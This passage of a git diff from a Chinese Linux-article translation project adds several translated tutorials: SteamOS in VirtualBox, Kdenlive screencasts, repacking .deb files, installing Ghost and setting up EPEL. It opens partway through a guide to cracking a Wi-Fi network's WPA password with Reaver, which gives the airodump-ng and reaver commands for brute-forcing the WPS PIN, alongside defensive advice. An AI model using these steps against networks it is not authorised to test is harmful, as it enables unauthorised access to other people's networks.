wlan0`命令执行失败,可以尝试对监控接口执行,例如`airodump-ng mon0`) + +此时,你将看到屏幕上列出周围一定范围内的无线网络,如下图所示: + +![](http://img.gawkerassets.com/img/194prtyebc284jpg/ku-xlarge.jpg) + +当看到你想要破解的网络时,按下Ctrl+C,停止列表刷新,然后复制该网络的BSSID(图中左侧字母、数字和分号组成的序列)。从ENC这一列可以看出,该网络是WPA或WPA2协议。(如果为WEP协议,可以参考我的[前一篇文章——WEP密码破解指南][7]) + +现在,手里有了BSSID和监控接口的名称,万事俱备,只欠破解了。 + +####第4步:使用Reaver破解无线网络的WPA密码#### + +在终端中执行下列命令,用你实际获取到的BSSID替换命令中的 `bssid` : + + reaver -i moninterface -b bssid -vv + +例如,如果你和我一样,监控接口都叫做 `mon0`,并且你要破解的路由器BSSID是`8D:AE:9D:65:1F:B2`,那么命令应该是下面这个样子: + + reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv + +最后,回车!接下来,就是喝喝茶、发发呆,等待Reaver魔法的发生。Reaver将会通过暴力破解,尝试一系列PIN码,这将会持续一段时间,在我的测试中,Reaver花了2个半小时破解网络,得出正确密码。正如前文中提到过的,Reaver的文档号称这个时间一般在4到10个小时之间,因此根据实际情况不同,这个时间也会有所变化。当Reaver的破解完成时,它看起来是下图中这个样子: + +![](http://img.gawkerassets.com/img/18qpo7omnvkbejpg/ku-medium.jpg) + +**一些要强调的事实**:Reaver在我的测试中工作良好,但是并非所有的路由器都能顺利破解(后文会具体介绍)。并且,你要破解的路由器需要有一个相对较强的信号,否则Reaver很难正常工作,可能会出现其他一些意想不到的问题。整个过程中,Reaver可能有时会出现超时、PIN码死循环等问题。一般我都不管它们,只是保持电脑尽量靠近路由器,Reaver最终会自行处理这些问题。 + +除此以外,你可以在Reaver运行的任意时候按下Ctrl+C中断工作。这样会退出程序,但是Reaver下次启动的时候会自动恢复继续之前的工作,前提是只要你没有关闭或重启电脑(如果你直接在live DVD里运行,关闭之前的工作都会丢失)。 + +###Reaver的工作原理### + +你已经学会了使用Reaver,现在,让我们简单了解一下Reaver的工作原理。它利用了WiFi保护设置(WiFi Protected Setup - 下文中简称为WPS)的一个弱点,WPS是许多路由器上都有的一个功能,可以为用户提供简单的配置过程,它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码的一个缺陷,最终的结果就是,只要有足够的时间,它就能破解WPA或WPA2的密码。 + +关于这个缺陷的具体细节,参看[Sean Gallagher's excellent post on Ars Technica][8]。 + +###如何防范Reaver攻击### + +该缺陷存在于WPS的实现过程中,因此,如果能够关闭WPS,WiFi就是安全的(或者,更好的情况是,你的路由器天生就木有这一功能)。但不幸的是,正如Gallagher[在Ars的文章中所指出的][9],即使在路由器设置中人为关掉了WPS,Reaver仍然能够破解其密码。 + +> 在一次电话通话中,Craig Heffner说道,很多路由器即使关闭WPS都无法有效防范攻击。他和同事一起测试过,所有的Linksys和Cisco Valet无线路由器都是如此。“在所有的Linksys路由器上,你甚至无法手动关闭WPS,”他说,尽管Web界面中有关闭WPS配置的按钮,但是“它仍然会自动打开,极易受到攻击”。 + +因此,方法一:失败!。也许你可以亲自尝试把你的路由器WPS关闭,然后测试一下Reaver是否还能成功破解。 + +你也可以在路由器中设置一下MAC地址过滤(只允许指定的白名单设备连接你的网络),但是有经验的黑客还是能够检测出设备的白名单MAC地址,并使用MAC地址仿冒你的计算机。 + +方法二:失败!那到底该怎么办? + +我的建议是,我曾经在我的路由器上安装了开源路由固件[DD-WRT][10],成功防御了Reaver攻击。因为,[DD-WRT天生就是不支持WPS的][11],因此,这成为了又一个我热爱自由软件的原因。如果你也对DD-WRT感兴趣,可以看一下这里的[设备支持列表][12],看是否支持你的路由器设备。除了安全上的升级,DD-WRT还可以[监控网络行为][13],[设置网络驱动器][14],[拦截广告][15],[增强WiFi信号范围][16]等,它完全可以[让你60美刀的路由器发挥出600美刀路由器的水平][17]! + +-------------------------------------------------------------------------------- + +via: http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack +[2]:http://code.google.com/p/reaver-wps/ +[3]:http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1 +[4]:http://www.backtrack-linux.org/downloads/ +[5]:http://www.backtrack-linux.org/downloads/ +[6]:http://code.google.com/p/reaver-wps/ +[7]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack +[8]:http://arstechnica.com/business/news/2011/12/researchers-publish-open-source-tool-for-hacking-wifi-protected-setup.ars +[9]:http://arstechnica.com/business/news/2012/01/hands-on-hacking-wifi-protected-setup-with-reaver.ars +[10]:http://dd-wrt.com/ +[11]:http://code.google.com/p/reaver-wps/issues/detail?id=44 +[12]:http://dd-wrt.com/wiki/index.php/Supported_Devices +[13]:http://lifehacker.com/5821773/how-to-monitor-your-internet-usage-so-you-dont-exceed-your-data-cap +[14]:http://lifehacker.com/5756233/get-more-out-of-your-dd+wrt-router-with-an-external-drive?tag=ddwrt +[15]:http://lifehacker.com/5680670/turn-your-dd+wrt-enabled-router-into-a-whole-house-ad-blocker?tag=ddwrt +[16]:http://lifehacker.com/5563196/turn-your-old-router-into-a-range+boosting-wi+fi-repeater?tag=ddwrt +[17]:http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router diff --git a/published/201312/How to Install SteamOS in VirtualBox.md b/published/201312/How to Install SteamOS in VirtualBox.md new file mode 100644 index 0000000000..0779358a64 --- /dev/null +++ b/published/201312/How to Install SteamOS in VirtualBox.md @@ -0,0 +1,92 @@ +如何在 VirtualBox 中安装 SteamOS +================================================================================ +**下面的教程将指导 Linuxer 在 VirtualBox 中全新安装 SteamOS GNU/Linux。** + +如你已经了解的那样,SteamOS Linux 已经在12月13日正式发布了。作为一款基于 Debian GNU/Linux 的操作系统,它默认使用了 GNOME 作为桌面环境,当然这是可选的。 + +如果硬件上没有问题的话,比如你的电脑拥有强大游戏显卡,且支持UEFI的,那么安装 SteamOS 将是一件非常容易的事情,然而,因为 Valve 并没有发布 SteamOS 的 ISO 镜像,在安装过程中可能并不是那么顺利。 + +下面的教程由两个重要的部分组成,第一部分将会帮助你用 Valve 官方的 SteamOSInstaller.zip 来创建一个 ISO 镜像;如果你不希望在自己的电脑上真正安装,那么第二部分将会告诉你如何在 VirtualBox 中来体验 SteamOS。 + +在一开始你需要一个已经正确安装的最新的 VirtualBox。当然,你还需要一款叫做[GNUxorriso][2]的软件用来制作 ISO 镜像。 + +### 第一步,制作 SteamISO 镜像 + +[从 Softpedia 下载 SteamOSInstaller.zip][3],将它保存到你的 home 目录下并解压缩。完毕之后你将会看到 SteamOSInstaller 文件夹。现在,从终端里打开它并执行下面的命令(译注:命令较长,请勿敲错): + + xorriso -as mkisofs -r -checksum_algorithm_iso md5,sha1 -V 'Steam OS' -o ~/SteamOSInstaller.iso -J -joliet-long -cache-inodes -no-emul-boot -boot-load-size 4 -boot-info-table -eltorito-alt-boot --efi-boot boot/grub/efi.img -append_partition 2 0x01 ~/SteamOSInstaller/boot/grub/efi.img -partition_offset 16 ~/SteamOSInstaller + +稍等几秒钟之后,SteamOS.iso 文件将会在你的 home 目录下出现,大约有 1GB。好了,这一步就完成了,下面进入第二步。 + +### 第二步,在 VirtualBox 中安装 SteamOS + +如果你已经正确安装了 VirtualBox 并且了解它的正确用法,那么我们下面需要来建立一个拥有 UEFI 支持的全新虚拟机。在 VirtualBox 的主窗口,点击 New 按钮来开始安装吧。 + +在 Name 框输入 SteamOS,在操作系统类型种选择 Linux,并在下拉框的版本列表中选择 Debain 64-bit,点击 Next 继续。Memory Size 中设置1024或者2048MB(当然,这取决于你的计算机实际内存大小),我们创建一个 VDI 格式的虚拟硬盘驱动器,将大小固定为15GB。点击 Continue 来继续,并等待创建过程结束。 + +![Create a new virtual machine](http://i1-news.softpedia-static.com/images/news2/How-to-Install-SteamOS-in-VirtualBox-409363-3.png) + +*创建一个新的虚拟机* + +![Set the memory size](http://i1-news.softpedia-static.com/images/news2/How-to-Install-SteamOS-in-VirtualBox-409363-4.png) + +*设置内存大小* + +现在我们的虚拟机已经创建完毕了,接下来让我们来为 SteamOS 做一些小小的调整。来到 Settings 选项,点击边栏的 System,然后在 Boot Order 中取消选择 "Floppy",并检查确认已经选择 "Enable EFI (special OSes only)" 选项。 + +![Enable EFI and remove Floppy](http://i1-news.softpedia-static.com/images/news2/How-to-Install-SteamOS-in-VirtualBox-409363-5.png) + +*允许 EFI 并移除 Floppy* + +接下来,点击边栏中的 Display 按钮,将 Video Memory 设置为128MB,并勾上 "Enable 3D Acceleration" 选项。然后,进入边栏的 Storage 部分,点击 "Controller: IDE" 下面的 "Empty",并点击 CD/DVD 驱动下拉栏旁边小 CD 图标来添加上一步制作的 SteamOSInstall.iso 镜像文件。当一切完成之后,点击 OK。 + +![Set Video Memory size and 3D acceleration](http://i1-news.softpedia-static.com/images/news2/How-to-Install-SteamOS-in-VirtualBox-409363-6.png) + +*设置 Video Memory 大小 和 3D 加速* + +那么现在,让我们按下主窗口中的 "Start" 按钮来启动虚拟机。你将会立即看到 SteamOS 启动画面。只需要高亮 "Automated install (WILL ERASE DISK)" 后按下 Enter 键即可。接下来可以稍微休息一下,直到我们的安装结束。整个安装过程可能需要一段时间,当然这取决于你的电脑。 + +![Prepare to install SteamOS](http://i1-news.softpedia-static.com/images/news2/How-to-Install-SteamOS-in-VirtualBox-409363-7.png) + +*准备安装 SteamOS* + +只要我们的安装过程结束,你就可以关闭虚拟机,然后从 Storage 中移除 ISO 镜像,然后启动进入全新的 SteamOS。但是,在我们正式进入 SteamOS 的世界之前,还需要安装 VirtualBox Guest Additions。先点击开始 SteamOS 虚拟机,选择 GRUB 启动器中的第二个选项(恢复模式),然后在 SteamOS 的命令行提示后输入下面的命令: + +![SteamOS boot loader](http://i1-news.softpedia-static.com/images/news2/How-to-Install-SteamOS-in-VirtualBox-409363-9.png) + + dpkg --get-selections | grep nvidia + apt-get purge + rm /usr/share/X11/xorg.conf.d/55-nvidia.conf + dpkg-reconfigure xserver-xorg + +进入到 Devices 中然后点击 Insert Guest Additions CD 镜像。根据提示来下载 Guest Additions 镜像,挂载它并执行下面的命令: + + sh /media/cdrom/VBoxLinuxAdditions.run + +等待 Guest Additions 安装完驱动,用下面的命令来重启我们的虚拟机: + + shutdown now -r + +![SteamOS command-line shell prompt](http://i1-news.softpedia-static.com/images/news2/How-to-Install-SteamOS-in-VirtualBox-409363-10.png) + +*SteamOS 命令行提示* + +接下来我们的虚拟机会重启,让它启动进入 SteamOS。当我们抵达登录提示界面之后,使用 desktop/desktop 或者 steam/steam 作为用户名和密码来登录。 + +如果您在安装过程中遇到了一些问题,请别犹豫,在下面评论中告诉我们。 + +![SteamOS with GNOME 3](http://i1-news.softpedia-static.com/images/news2/How-to-Install-SteamOS-in-VirtualBox-409363-11.png) + +*SteamOS 和 GNOME 3* + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Install-SteamOS-in-VirtualBox-409363.shtml + +译者:[pandachow](https://github.com/ailurus1991) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://news.softpedia.com/news/Download-SteamOS-1-0-Based-on-Debian-Linux-409214.shtml +[2]:http://linux.softpedia.com/get/Programming/Libraries/GNU-xorriso-36759.shtml +[3]:http://linux.softpedia.com/get/System/Operating-Systems/Linux-Distributions/SteamOS-103040.shtml diff --git a/published/201312/How to Make a YouTube Instructional Screencast Video on Linux.md b/published/201312/How to Make a YouTube Instructional Screencast Video on Linux.md new file mode 100644 index 0000000000..11ef0d48e3 --- /dev/null +++ b/published/201312/How to Make a YouTube Instructional Screencast Video on Linux.md @@ -0,0 +1,98 @@ +如何在Linux上制作一个屏幕录像视频教程 +================================================================================ +一图胜千言,一个精心设计的指导视频更是能给你带来良好体验。Linux上有你需要的制作有用且高质量教学视频的所有工具。我们将用强大的kdenlive视频编辑器和Audacity音频录制器和编辑器制作一个简单的屏幕录像,并学习如何在YouTube上分享精彩的屏幕录像。 + +一台安装了Kdenlive和Audacit软件的Linux系统PC,一个质量好的麦克风或耳机,和一个YouTube的帐号就是你需要准备的全部。(是的,除了Youtube还有很多其他的免费视频共享服务,你也可以使用它们。)YouTube属于Google,Google想让你与全世界共享任何人和事。如果这不是你想做的,请说no。 + +我们的工作流程是这样的: + +- 用Kdenlive录制屏幕录像 +- 用Audacity录制音轨 +- 添加音轨到Kdenlive +- 上传到YouTube +- 全世界看你的视频,好开心 + +kdenlive支持最流行的数字视频格式,包括AVI,MP4,H.264,和MOV。它支持的图像文件包括GIF,PNG,SVG和TIFF;支持的音频文件格式,包括非压缩的PCM,Vorbis,WAV,MP3和 AC3。你甚至可以阅读和编辑Flash文件。总之,它可以处理很多东西。 + +你的配音与你的视频一样重要。请一定要重视你的音频。使音频保持干净和简单,去除杂乱的题外话、方言,并将背景噪声降到最低点。我喜欢用一个质量好的耳麦做讲述,这样你不必担心话筒位置,你可以反复听你自己的讲述而不会影响到你身边的人。 + +Kdenlive的文档已过期,它会告诉你制作屏幕录像需要RecordMyDesktop软件。我用的是kdenlive 0.9.4,其实不需要Recordmydesktop。 + +![](http://www.linux.com/images/stories/41373/fig-1-settings.png) + +*图 1:默认配置* + +### 制作屏幕录像 ### + +首次安装kdenlive,第一次运行时会启动配置向导。不必在意默认设置,因为你随时都可以改变它们。 + +这是我的屏幕录像的设置:高清720p每秒30帧,1280x720的屏幕尺寸。如何知道该使用什么设置项? [Google上有一些说明][1]。设置这些值可到Settings > Configure Kdenlive > Project Defaults > Default Profile > HD 720p 30fps(图1)。 + +设置捕捉屏幕的大小到 Settings > Configure Kdenlive > Capture > Screen Grab(图2)。虽然你也可以选择捕捉全屏幕,但最好还是坚持用YouTube规定的尺寸。因为如果使用的尺寸与YouTube规定的不一样,则YouTube将增加黑边来达到合适的尺寸。热切的观众会更加希望看到一个充满生动的内容的屏幕,而不是黑边。 + +![](http://www.linux.com/images/stories/41373/fig-2-settings.png) + +*图 2:屏幕录像的屏幕大小* + +默认的YouTube视频播放器的大小是640x360标清320p,又小又模糊。播放器有小屏,大屏,全屏,和多个质量等级的控制。这些设置只有你的观众会使用,640x360标清320p看起来真的不咋样,但郁闷的是你无法改变这个缺陷。尽管如此,你仍然想制作高质量视频的话,你可以添加一些文字来提醒观众尝试更好的配置。 + +### 保存你的项目 ### + +在你做任何其他事情之前,点击 File->Save as 保存您的项目,并记住周期性地保存它。 + +### 抓取屏幕 ### + +抓屏小菜一碟。到Record Monitor,选择Screen Grab,然后点击Record按钮。屏幕上将打开一个带虚线的框,框里面的所有内容都将被录制下来。因此,你需要做的所有事就是移动框并调整框的大小到你想要l录制的范围。完成后点击停止按钮(图3)。 + + +![](http://www.linux.com/images/stories/41373/fig-3-screen-grab.png) + +*图 3:屏幕抓取* + +单击Stop,自动打开Clip Monitor,你可以预览你的裁剪效果。如果你觉得不错,把它从Project Tree中拖到Video 1轨道。现在你可以编辑你的视频了。总会有需要你修剪的地方;一个快速的方法是,你在Project Monitor里播放你的剪辑片,直到播放到你需要移除部分的末尾。然后暂停,然后按下Shift+r。你的剪辑片将会在你按下停止的时间轴上的点上被切割为两个剪辑。点击你要删除的片断,按下Delete键,噗!它就消失了。 + +对于剩下的剪辑片断,可能你想要从时间轴上的某一点开始播放,也可能你想要加入一些好的变换。比如一些简单的渐变就相当不错;右键点击你的剪辑片断,点击Add Effect > Fade > Fade from black 和 Fade to black,然后Kdenlive将自动将这两个效果放到开头和末尾。 + +### 添加配音 ### + +请参阅[Whirlwind Intro to Audacity on Linux: From Recording to CD in One Lesson][2]来学习使用Audacity录音的基础操作。以16bit的wav格式导出你的音频文件,然后通过Project > Add Clip导入到Kdenlive。然后将你的新音频剪辑拖到Audio tracks。一个简单的制作视频讲述的方式是边播视频边说。运气好的话,你不需要做很多的清理工作,你的讲述就会与视频同步。 + +![](http://www.linux.com/images/stories/41373/fig-4-audio-gap.png) + +*图 4:用Shift+r切割音轨,然后将其中一个剪辑片从切割点拖离,创建一个静音间隙* + +如果你的语速比视频快,你可以在音轨中添加空档时间.很简单,用Shift+r切割音轨,然后将其中一个剪辑片从切割点拖离,创建一个静音间隙。(图4)。 + +### Rendering Your Project ### 渲染你的项目 + +当你满意自己的编辑,并准备导出你的最终格式时,点击Render按钮。这需要几分钟的时间,取决于你的电脑速度和项目大小。已有为网站预先设定的值,如果你选择File Rendering, 你可以调整你的设置(图5)。我用File Rendering中的H.264,Video比特率12000, Audio比特率384取得了不错的效果。H.264是一种超压缩格式,使用这种格式发布的文件小但质量好。 + + +![](http://www.linux.com/images/stories/41373/fig-5-rendering.png) + +*图 5:选择文件渲染,调整你的网页设置* + +### 发布到YouTube ### + +现在你可以在VLC或MPlayer或你喜欢的任何播放器中播放你的视频了,如果它看起来很好,那么你就可以将它上传到你的YouTube帐户里了。YouTube是典型的Google风格,信息中心和视频管理器会混乱又复杂,不过请坚持多研究下,你会理出头绪的。在你做任何事情之前,你必须对你的账户做资格认证,也就是通过短信和邮件获得一个验证码。通过输入验证码证明你不是一个网络爬虫后,你就能上传你的视频了。 + +你可以上传你的视频,然后标记它们为私人可见或所有人可见。Google有一些编辑工具,你可能会喜欢,比如自动纠错和配背景音乐。不过以我的拙见,几乎没有人是这样子做背景音乐的,所以这种工具只会令人讨厌。不过你有可能是第一个正确使用这个工具的人哦。 + +最有用的编辑工具是自动字幕。我推荐在你所有的视频上使用此功能,不光是为了那些听觉障碍的人,也为了那些需要保持低音量观看的人,确保所有的人都明白你在说什么。字幕工具也能创建副本。 + +另一个有用的工具是注释工具,它支持对话气泡,标题,聚光灯和标签。当然,在Kdenlive中,这些你都可以做到,所以都可以尝试一下。 + +好吧,到这里就结束了,但似乎我们刚刚开始。请分享你的视频,并在评论中添加Youtube的小建议和技巧。如果可以的话,请在[video.linux.com][3]分享你的新的视频教程,并参加100个Linux教程比赛。 + + +-------------------------------------------------------------------------------- + +来源于: http://www.linux.com/learn/tutorials/745745-how-to-make-a-youtube-instructional-screencast-video-on-linux/ + +译者:[coolpigs](https://github.com/coolpigs) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://support.google.com/youtube/answer/1722171?hl=en&ref_topic=2888648 +[2]:http://www.linux.com/learn/tutorials/422799-whirlwind-intro-to-audacity-on-linux +[3]:http://video.linux.com/100-linux-tutorials diff --git a/published/201312/How to Repack Deb Files on Debian and Ubuntu.md b/published/201312/How to Repack Deb Files on Debian and Ubuntu.md new file mode 100644 index 0000000000..d859677743 --- /dev/null +++ b/published/201312/How to Repack Deb Files on Debian and Ubuntu.md @@ -0,0 +1,43 @@ +如何在Debian和Ubuntu下重新打包Deb文件 +================================================================================ + +**以下教程将会为Ubuntu、Linux Mint和Debian GUN/Linux用户讲述,如何在它们基于Debian的Linux操作系统上轻松的解压和重新打包.deb文件。** + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Repack-Deb-Files-on-Debian-and-Ubuntu-404930-2.jpg) + +有时候你在生活中会碰到这样的问题,你想要修改.deb文件的部分内容,然后重新打包。不过只有你真正深入了解计算机才能完成这样的黑客技巧。 + +下面的例子是刚发生在我身上的真实经历。一位Linux开发者为一个软件构建了一个Debian包(.deb),我也成功地将它安装在我的装载Ubuntu的电脑上。 + +当我试图从一个Git库中检索一些文件时,它总是卡顿,很显然,该软件并没有正常工作。我知道安装的文件在哪里(/opt目录),所以,我搜查了代码并适当地将部分问题修复。之后,当程序试图检索需要的包时不再卡顿。 + +所以,长话短说,我要将.deb文件解包,替换上我的补丁文件,然后再重新打包回来。这样我可以其它电脑上安装,或者将修正的包文件发给我的朋友。我要怎么做呢? + +在网络上搜索问题的答案,我发现一个名叫[ailoo.net][1]的小型博客,它给出类似这样解释: + + mkdir -p extract/DEBIAN + dpkg-deb -x package.deb extract/ + dpkg-deb -e package.deb extract/DEBIAN [...do something, e.g. edit the control file...] + mkdir build + dpkg-deb -b extract/ build/ + +这五条命令将奇迹般地完成工作。让我为你解释一下: + +- 第一条命令创建了一个名为“extract”文件夹和一个名为“DEBIAN”的子文件夹; +- 第二条命令会从你的.deb包提取一些文件到“extract”文件夹; +- 第三条命令会解压.deb包的内容到“DEBIAN”子文件夹,在那里你就可以修改/补丁你想要的文件; +- 第四条命令建立一个名为“build”的文件夹; +- 而第五条命令会将修改后的文件重新构建到一个新的.deb包中,并在 “build” 文件夹中生成。 + +这就是本次教程!牢牢地记住上面的命令吧,在你执行第三条命令后,可以通过你的默认文件管理器,用一个图形化的文本编辑器可视化地修改文件。如果你在学习本教程时遇到问题,不要犹豫,在下面给我们写下评论。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Repack-Deb-Files-on-Debian-and-Ubuntu-404930.shtml + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ailoo.net/2009/06/repack-a-deb-archive-with-dpkg-deb/ + diff --git a/published/201312/How to install Ghost blogging platform on Linux.md b/published/201312/How to install Ghost blogging platform on Linux.md new file mode 100644 index 0000000000..c322871d01 --- /dev/null +++ b/published/201312/How to install Ghost blogging platform on Linux.md @@ -0,0 +1,86 @@ +如何在Linux平台上安装Ghost博客平台 +=== +[Ghost][1]是一个相对较新的博客发布平台,它开始于众筹平台kickstarter上一个[£25,000英镑的众筹项目][2]。尽管WordPress依然是网上主流的博客工具,但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台,发展到现在已经逐渐变得笨重、复杂以至于难以维护。但与此同时,仅仅诞生才几个月的Ghost坚持以用户为中心,打造精雕细琢的用户界面,承诺要做一个纯粹的博客平台。 + +在本教程中,我将描述**如何在Linux中设置Ghost博客平台**。 + +###在Linux上安装Ghost + +Ghost是使用Node.js框架编写的。因此,首先你需要在你的Linux系统上[安装Node.js框架][3]。确保Node.js的版本为0.10或者更高。接下来,登录入[http://ghost.org][1](需要注册),然后下载Ghost的源代码。记着按照下面的步骤安装: + + $ sudo mkdir -p /var/www/ghost + $ sudo unzip ghost-0.3.3.zip -d /var/www/ghost + $ cd /var/www/ghost + $ sudo npm install --production + +###启动前先配置Ghost +在你启动Ghost之前,按照下面的步骤在/var/www/ghost/config.js位置创建它的配置文件。使用你的主机IP地址替换掉“YOUR_IP”。 + + $ cd /var/www/ghost + $ sudo cp config.example.js config.js + $ sudo sed -i 's/127.0.0.1/YOUR_IP/g' config.js + +###以开发者模式尝试运行Ghost + +搞到这一步,你就可以准备去启动Ghost咯。 + +要注意的是,Ghost可以以两种不同的模式运行:“开发者模式”和“用户模式”。为了安全起见,Ghost将两种模式的配置文件(/var/www/ghost/config.js)分开存放。例如,两种不同的模式使用不同的数据库文件(例如位于/var/www/content/data的ghostdev.db和ghost.db)。 + +使用以下命令就可以启动Ghost。Ghost默认以开发者模式运行。 + + $ cd /var/www/ghost + $ sudo npm start + +Ghost成功运行后,终端中会有以下输出信息,告诉你Ghost正运行在:2368(译者注:2368为端口号)。 + +[![](http://farm8.staticflickr.com/7317/10881189204_d714f11321_z.jpg)][4] + +在你本机的浏览器中键入 http://:2368,身份校验后你就会看到Ghost的初始页面。 + +[![](http://farm4.staticflickr.com/3750/10881348733_f77d220de6_z.jpg)][5] + +###以用户身份启动Ghost + +在你确认Ghost运行完好后,按下Ctrl+C停用开发者模式下的Ghost。现在你就可以在用户模式下启动Ghost咯。当你以用户模式运行Ghost时,你就可以使用Node.js呼叫forever模块了,forever模块允许你以守护进程运行Ghost,还可以让你以后台进程运行Ghost。 + +安装forever模块: + + $ sudo npm install forever -g + +最后,你就可以以用户模式像下面这样运行Ghost: + + $ cd /var/www/ghost + $ sudo NODE_ENV=production forever start index.js + +检查一下Ghost的数据库文件是否成功以用户模式创建(/var/www/ghost/content/ghost.db)。 + +你也可以检查一下forever活动进程列表: + + $ sudo forever list + +- + + info: Forever processes running + data: uid command script forever pid logfile uptime + data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741 + +假如你看到以上信息,意味着Ghost已经成功以后台进程运行咯。 + +想停止Ghost守护进程,可以运行以下命令: + + $ cd /var/www/ghost + $ sudo forever stop index.js + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/install-ghost-blogging-platform-linux.html + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://ghost.org/ +[2]:http://www.kickstarter.com/projects/johnonolan/ghost-just-a-blogging-platform +[3]:http://ask.xmodulo.com/install-node-js-linux.html +[4]:http://www.flickr.com/photos/xmodulo/10881189204/ +[5]:http://www.flickr.com/photos/xmodulo/10881348733/ diff --git a/published/201312/How to setup EPEL repository on CentOS 5 or 6.md b/published/201312/How to setup EPEL repository on CentOS 5 or 6.md new file mode 100644 index 0000000000..cf7c759d49 --- /dev/null +++ b/published/201312/How to setup EPEL repository on CentOS 5 or 6.md @@ -0,0 +1,100 @@ +如何在CentOS 5/6上安装EPEL 源 +================================================================================ + +EPEL 是什么? + +EPEL (Extra Packages for Enterprise Linux,企业版Linux的额外软件包) 是Fedora小组维护的一个软件仓库项目,为RHEL/CentOS提供他们默认不提供的软件包。这个源兼容RHEL及像CentOS和Scientific Linux这样的衍生版本。 + +我们可以很容易地通过yum命令从EPEL源上获取上万个在CentOS自带源上没有的软件。EPEL提供的软件包大多基于其对应的Fedora软件包,不会与企业版Linux发行版本的软件发生冲突或替换其文件。 + +更多关于EPEL 项目的细节可以到以下网站获取:[https://fedoraproject.org/wiki/EPEL][1] + +在文本中,我将展示在CentOS下如何安装EPEL源 + +> 提示 - RHEL/CentOS系统有许多第三方源,比较流行的比如RpmForge,RpmFusion,EPEL,Remi等等。 +> +> 然而需要引起注意的是,如果系统添加了多个第三方源,可能会因此产生冲突——一个软件包可以从多个源获取,一些源会替换系统的基础软件包,从而可能会产生意想不到的错误。已知的就有Rpmforge与EPEL会产生冲突。 +> +> 对于这些问题我们建议,调整源的优先权或者有选择性的安装源,但是这需要复杂的操作,如果你不确定如何操作,我们推荐你只安装一个第三方源。 + +## 在CentOS 上安装EPEL ## + +要想安装EPEL,我们先要下载EPEL的rpm安装包。 + +CentOS/RHEL下的6.x和5.x版本下载页面如下 + +[http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html][2] +[http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html][3] + +以上网址可能会被重定向到特定的镜像站而加快下载速度。这个页面包含可以直接获取到rpm包的下载链接。直接的下载链接如下: + +[http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm][4] +[http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm][5] + +根据你的CentOS 版本来选择正确的下载地址。 + +请注意EPEL 的安装包是独立编译的,所以它可以安装在32位和64位系统中。 + +### 1. 确认你的CentOS 的版本 ### + +首先通过以下命令确认你的CentOS 版本 + + $ cat /etc/redhat-release + CentOS release 6.4 (Final) + +### 2. 下载EPEL 的rpm 安装包 ### + +现在从上面的地址下载CentOS 版本所对应的EPEL 的版本 + + $ wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm + +### 3. 安装EPEL ### + +通过以下命令安装EPEL 软件包 + + $ sudo rpm -ivh epel-release-6-8.noarch.rpm + +或 + + $ sudo rpm -ivh epel-release* + +### 5. 检查EPEL 源 ### + +安装好EPEL 源后,用yum 命令来检查是否添加到源列表 + + # yum repolist + Loaded plugins: fastestmirror + Loading mirror speeds from cached hostfile + * base: mirrors.vonline.vn + * epel: buaya.klas.or.id + * extras: centos-hn.viettelidc.com.vn + * updates: mirrors.fibo.vn + repo id repo name status + base CentOS-6 - Base 6,381 + epel Extra Packages for Enterprise Linux 6 - x86_64 10,023 + extras CentOS-6 - Extras 13 + nginx nginx repo 47 + updates CentOS-6 - Updates 1,555 + repolist: 18,019 + +EPEL已经在repo 后列出,并且显示提供了上万个软件包,所以EPEL 已经安装到你的CentOS了。 + +EPEL源的配置安装到了 **/etc/yum.repos.d/epel.repo** 文件。 + +现在来试一下从EPEL 获取软件包 + + $ sudo yum install htop + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/setup-epel-repository-centos/ + +译者:[NearTan](https://github.com/NearTan) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://fedoraproject.org/wiki/EPEL +[2]:http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html +[3]:http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html +[4]:http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm +[5]:http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm \ No newline at end of file diff --git a/published/201312/Insights into top 3 IT skill groups in highest demand.md b/published/201312/Insights into top 3 IT skill groups in highest 